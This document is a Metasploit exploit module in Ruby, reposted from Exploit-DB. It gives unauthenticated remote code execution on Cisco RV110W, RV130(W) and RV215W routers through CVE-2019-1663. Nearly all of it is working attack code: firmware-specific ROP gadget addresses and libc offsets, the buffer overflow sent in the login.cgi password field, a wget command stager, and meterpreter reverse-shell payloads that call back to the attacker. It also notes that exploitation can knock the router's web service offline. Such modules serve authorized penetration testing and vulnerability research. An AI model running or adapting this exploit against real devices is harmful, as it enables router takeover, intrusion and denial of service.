Cisco RV110W/RV130(W)/RV215W Routers Management Interface – Remote Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2019-09-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47348/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    # linux/armle/meterpreter/bind_tcp -> segfault
    # linux/armle/meterpreter/reverse_tcp -> segfault
    # linux/armle/meterpreter_reverse_http -> works
    # linux/armle/meterpreter_reverse_https -> works
    # linux/armle/meterpreter_reverse_tcp -> works
    # linux/armle/shell/bind_tcp -> segfault
    # linux/armle/shell/reverse_tcp -> segfault
    # linux/armle/shell_bind_tcp -> segfault
    # linux/armle/shell_reverse_tcp -> segfault
    #
    class MetasploitModule < Msf::Exploit::Remote
    Rank = GoodRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::CmdStager
    include Msf::Exploit::Deprecated
    
    moved_from 'exploit/linux/http/cisco_rv130_rmi_rce'
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Cisco RV110W/RV130(W)/RV215W Routers Management Interface Remote Command Execution',
    'Description'=> %q{
    A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall,
    Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router
    could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.
    
    The vulnerability is due to improper validation of user-supplied data in the web-based management interface.
    An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.
    
    A successful exploit could allow the attacker to execute arbitrary code on the underlying operating
    system of the affected device as a high-privilege user.
    
    RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected.
    RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.
    RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected.
    
    Note: successful exploitation may not result in a session, and as such,
     on_new_session will never repair the HTTP server, leading to a denial-of-service condition.
    },
    'Author' =>
    [
    'Yu Zhang', # Initial discovery (GeekPwn conference)
    'Haoliang Lu', # Initial discovery (GeekPwn conference)
    'T. Shiomitsu', # Initial discovery (Pen Test Partners)
    'Quentin Kaiser <kaiserquentin@gmail.com>' # Vulnerability analysis & exploit dev
    ],
    'License' => MSF_LICENSE,
    'Platform'=>%w[linux],
    'Arch'=>[ARCH_ARMLE, ARCH_MIPSLE],
    'SessionTypes'=>%w[meterpreter],
    'CmdStagerFlavor' => %w{ wget },
    'Privileged'=> true, # BusyBox
    'References'=>
    [
    ['CVE', '2019-1663'],
    ['BID', '107185'],
    ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'],
    ['URL', 'https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/']
    ],
    'DefaultOptions' => {
    'WfsDelay' => 10,
    'SSL' => true,
    'RPORT' => 443,
    'CMDSTAGER::FLAVOR' => 'wget',
    'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
     },
    'Targets'=>
    [
    [ 'Cisco RV110W 1.1.0.9',
    {
    'offset'=> 69,
    'libc_base_addr'=> 0x2af06000,
    'libcrypto_base_addr' => 0x2ac01000,
    'system_offset' => 0x00050d40,
    'got_offset'=> 0x0009d560,
    # gadget 1 is in /usr/lib/libcrypto.so
    'gadget1' => 0x00167c8c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
    'Arch'=> ARCH_MIPSLE,
    'DefaultOptions'=> {
    'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
    }
    }
    ],
    [ 'Cisco RV110W 1.2.0.9',
    {
    'offset'=> 69,
    'libc_base_addr'=> 0x2af08000,
    'libcrypto_base_addr' => 0x2ac03000,
    'system_offset' => 0x0004c7e0,
    'got_offset'=> 0x00098db0,
    # gadget 1 is in /usr/lib/libcrypto.so
    'gadget1' => 0x00167c4c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
    'Arch'=> ARCH_MIPSLE,
    'DefaultOptions'=> {
    'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
    }
    }
    ],
    [ 'Cisco RV110W 1.2.0.10',
    {
    'offset'=> 69,
    'libc_base_addr'=> 0x2af09000,
    'libcrypto_base_addr' => 0x2ac04000,
    'system_offset' => 0x0004c7e0,
    'got_offset'=> 0x00098db0,
    # gadget 1 is in /usr/lib/libcrypto.so
    'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
    'Arch'=> ARCH_MIPSLE,
    'DefaultOptions'=> {
    'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
    }
    }
    ],
    [ 'Cisco RV110W 1.2.1.4',
    {
    'offset'=> 69,
    'libc_base_addr'=> 0x2af54000,
    'libcrypto_base_addr' => 0x2ac4f000,
    'system_offset' => 0x0004c7e0,
    'got_offset'=> 0x00098db0,
    # gadget 1 is in /usr/lib/libcrypto.so
    'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
    'Arch'=> ARCH_MIPSLE,
    'DefaultOptions'=> {
    'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
    }
    }
    ],
    [ 'Cisco RV110W 1.2.1.7',
    {
    'offset'=> 69,
    'libc_base_addr'=> 0x2af98000,
    'libcrypto_base_addr' => 0x2ac4f000,
    'system_offset' => 0x0004c7e0,
    'got_offset'=> 0x00098db0,
    # gadget 1 is in /usr/lib/libcrypto.so
    'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
    'Arch'=> ARCH_MIPSLE,
    'DefaultOptions'=> {
    'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
    }
    }
    ],
    [ 'Cisco RV130/RV130W < 1.0.3.45',
    {
    'offset'=> 446,
    'libc_base_addr'=> 0x357fb000,
    'system_offset' => 0x0004d144,
    'gadget1' => 0x00020e79, # pop {r2, r6, pc};
    'gadget2' => 0x00041308, # mov r0, sp; blx r2;
    'Arch'=> ARCH_ARMLE,
    'DefaultOptions'=> {
    'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',
    }
    },
    ],
    [ 'Cisco RV215W 1.1.0.5',
    {
    'offset'=> 69,
    'libc_base_addr'=> 0x2af59000,
    'libcrypto_base_addr' => 0x2ac54000,
    'system_offset' => 0x0004c7e0,
    'got_offset'=> 0x00098db0,
    # gadget 1 is in /usr/lib/libcrypto.so
    'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
    'Arch'=> ARCH_MIPSLE,
    'DefaultOptions'=> {
    'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
    }
    }
    ],
    [ 'Cisco RV215W 1.1.0.6',
    {
    'offset'=> 69,
    'libc_base_addr'=> 0x2af59000,
    'libcrypto_base_addr' => 0x2ac54000,
    'system_offset' => 0x0004c7e0,
    'got_offset'=> 0x00098db0,
    # gadget 1 is in /usr/lib/libcrypto.so
    'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
    'Arch'=> ARCH_MIPSLE,
    'DefaultOptions'=> {
    'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
    }
    }
    ],
    [ 'Cisco RV215W 1.2.0.14',
    {
    'offset'=> 69,
    'libc_base_addr'=> 0x2af5f000,
    'libcrypto_base_addr' => 0x2ac5a001,
    'system_offset' => 0x0004c7e0,
    'got_offset'=> 0x00098db0,
    # gadget 1 is in /usr/lib/libcrypto.so
    'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
    'Arch'=> ARCH_MIPSLE,
    'DefaultOptions'=> {
    'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
    }
    }
    ],
    [ 'Cisco RV215W 1.2.0.15',
    {
    'offset'=> 69,
    'libc_base_addr'=> 0x2af5f000,
    'libcrypto_base_addr' => 0x2ac5a000,
    'system_offset' => 0x0004c7e0,
    'got_offset'=> 0x00098db0,
    # gadget 1 is in /usr/lib/libcrypto.so
    'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
    'Arch'=> ARCH_MIPSLE,
    'DefaultOptions'=> {
    'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
    }
    }
    ],
    [ 'Cisco RV215W 1.3.0.7',
    {
    'offset'=> 77,
    'libc_base_addr'=> 0x2afeb000,
    'libcrypto_base_addr' => 0x2aca5000,
    'system_offset' => 0x0004c7e0,
    'got_offset'=> 0x000a0530,
    # gadget 1 is in /usr/lib/libcrypto.so
    'gadget1' => 0x00057bec, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
    'Arch'=> ARCH_MIPSLE,
    'DefaultOptions'=> {
    'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
    }
    }
    ],
    [ 'Cisco RV215W 1.3.0.8',
    {
    'offset'=> 77,
    'libc_base_addr'=> 0x2afee000,
    'libcrypto_base_addr' => 0x2aca5000,
    'system_offset' => 0x0004c7e0,
    'got_offset'=> 0x000a0530,
    # gadget 1 is in /usr/lib/libcrypto.so
    'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
    'Arch'=> ARCH_MIPSLE,
    'DefaultOptions'=> {
    'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
    }
    }
    ],
    ],
    'DisclosureDate'=> 'Feb 27 2019',
    'DefaultTarget' => 0,
    'Notes' => {
    'Stability' => [ CRASH_SERVICE_DOWN, ],
    },
    ))
    end
    
    def p(lib, offset)
    [(lib + offset).to_s(16)].pack('H*').reverse
    end
    
    def prepare_shellcode(cmd)
    case target
    # RV110W 1.1.0.9, 1.2.0.9, 1.2.0.10, 1.2.1.4, 1.2.1.7
    # RV215W 1.1.0.5, 1.1.0.6, 1.2.0.14, 1.2.0.15, 1.3.0.7, 1.3.0.8
    when targets[0], targets[1], targets[2], targets[3], targets[4], targets[6], targets[7], targets[8], targets[9], targets[10], targets[11]
    shellcode = rand_text_alpha(target['offset']) + # filler
    rand_text_alpha(4) +# $s0
    rand_text_alpha(4) +# $s1
    rand_text_alpha(4) +# $s2
    rand_text_alpha(4) +# $s3
    p(target['libc_base_addr'], target['system_offset']) +# $s4
    rand_text_alpha(4) +# $s5
    rand_text_alpha(4) +# $s6
    rand_text_alpha(4) +# $s7
    rand_text_alpha(4) +# $s8
    p(target['libcrypto_base_addr'], target['gadget1']) + # $ra
    p(target['libc_base_addr'], target['got_offset']) +
    rand_text_alpha(28) +
    cmd
    shellcode
    when targets[5] # RV130/RV130W
    shellcode = rand_text_alpha(target['offset']) + # filler
    p(target['libc_base_addr'], target['gadget1']) +
    p(target['libc_base_addr'], target['system_offset']) +# r2
    rand_text_alpha(4) +# r6
    p(target['libc_base_addr'], target['gadget2']) +# pc
    cmd
    shellcode
    end
    end
    
    def send_request(buffer)
    begin
    send_request_cgi({
    'uri' => '/login.cgi',
    'method'=> 'POST',
    'vars_post' => {
    "submit_button": "login",
    "submit_type": "",
    "gui_action": "",
    "wait_time": 0,
    "change_action": "",
    "enc": 1,
    "user": rand_text_alpha_lower(5),
    "pwd": buffer,
    "sel_lang": "EN"
    }
    })
    rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
    end
    end
    
    def check
    
    # We fingerprint devices using SHA1 hash of a web resource accessible to unauthenticated users.
    # We use lang_pack/EN.js because it's the one file that changes the most between versions.
    # Note that it's not a smoking gun given that some branches keep the exact same files in /www
    # (see RV110 branch 1.2.1.x/1.2.2.x, RV130 > 1.0.3.22, RV215 1.2.0.x/1.3.x)
    
    fingerprints = {
    "69d906ddd59eb6755a7b9c4f46ea11cdaa47c706" => {
    "version" => "Cisco RV110W 1.1.0.9",
    "status" =>Exploit::CheckCode::Vulnerable
    },
    "8d3b677d870425198f7fae94d6cfe262551aa8bd" => {
    "version" => "Cisco RV110W 1.2.0.9",
    "status" => Exploit::CheckCode::Vulnerable
    },
    "134ee643ec877641030211193a43cc5e93c96a06" => {
    "version" => "Cisco RV110W 1.2.0.10",
    "status" => Exploit::CheckCode::Vulnerable
    },
    "e3b2ec9d099a3e3468f8437e5247723643ff830e" => {
    "version" => "Cisco RV110W 1.2.1.4, 1.2.1.7, 1.2.2.1 (not vulnerable), 1.2.2.4 (not vulnerable)",
    "status" => Exploit::CheckCode::Unknown
    },
    "6b7b1e8097e8dda26db27a09b8176b9c32b349b3" => {
    "version" => "Cisco RV130/RV130W 1.0.0.21",
    "status" => Exploit::CheckCode::Vulnerable
    },
    "9b1a87b752d11c5ba97dd80d6bae415532615266" => {
    "version" => "Cisco RV130/RV130W 1.0.1.3",
    "status" => Exploit::CheckCode::Vulnerable
    },
    "9b6399842ef69cf94409b65c4c61017c862b9d09" => {
    "version" => "Cisco RV130/RV130W 1.0.2.7",
    "status" => Exploit::CheckCode::Vulnerable
    },
    "8680ec6df4f8937acd3505a4dd36d40cb02c2bd6" => {
    "version" => "Cisco RV130/RV130W 1.0.3.14, 1.0.3.16",
    "status" => Exploit::CheckCode::Vulnerable
    },
    "8c8e05de96810a02344d96588c09b21c491ede2d" => {
    "version" => "Cisco RV130/RV130W 1.0.3.22, 1.0.3.28, 1.0.3.44, 1.0.3.45 (not vulnerable), 1.0.3.51 (not vulnerable)",
    "status" => Exploit::CheckCode::Unknown
    },
    "2f29a0dfa78063d643eb17388e27d3f804ff6765" => {
    "version" => "Cisco RV215W 1.1.0.5",
    "status" => Exploit::CheckCode::Vulnerable
    },
    "e5cc84d7c9c2d840af85d5f25cee33baffe3ca6f" => {
    "version" => "Cisco RV215W 1.1.0.6",
    "status" => Exploit::CheckCode::Vulnerable
    },
    "7cc8fcce5949a68c31641c38255e7f6ed31ff4db" => {
    "version" => "Cisco RV215W 1.2.0.14 or 1.2.0.15",
    "status" => Exploit::CheckCode::Vulnerable
    },
    "050d47ea944eaeadaec08945741e8e380f796741" => {
    "version" => "Cisco RV215W 1.3.0.7 or 1.3.0.8, 1.3.1.1 (not vulnerable), 1.3.1.4 (not vulnerable)",
    "status" => Exploit::CheckCode::Unknown
    }
    }
    
    uri = target_uri.path
    res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(uri, 'lang_pack/EN.js')
    })
    if res && res.code == 200
    fingerprint = Digest::SHA1.hexdigest("#{res.body.to_s}")
    if fingerprints.key?(fingerprint)
    print_good("Successfully identified device: #{fingerprints[fingerprint]["version"]}")
    return fingerprints[fingerprint]["status"]
    else
    print_status("Couldn't reliably fingerprint the target.")
    end
    end
    Exploit::CheckCode::Unknown
    end
    
    def exploit
    print_status('Sending request')
    execute_cmdstager
    end
    
    def execute_command(cmd, opts = {})
    shellcode = prepare_shellcode(cmd.to_s)
    send_request(shellcode)
    end
    
    def on_new_session(session)
    # Given there is no process continuation here, the httpd server will stop
    # functioning properly and we need to take care of proper restart
    # ourselves.
    print_status("Reloading httpd service")
    reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S"
    if session.type.to_s.eql? 'meterpreter'
    session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
    session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\""
    else
    session.shell_command(reload_httpd_service)
    end
    ensure
    super
    end
    end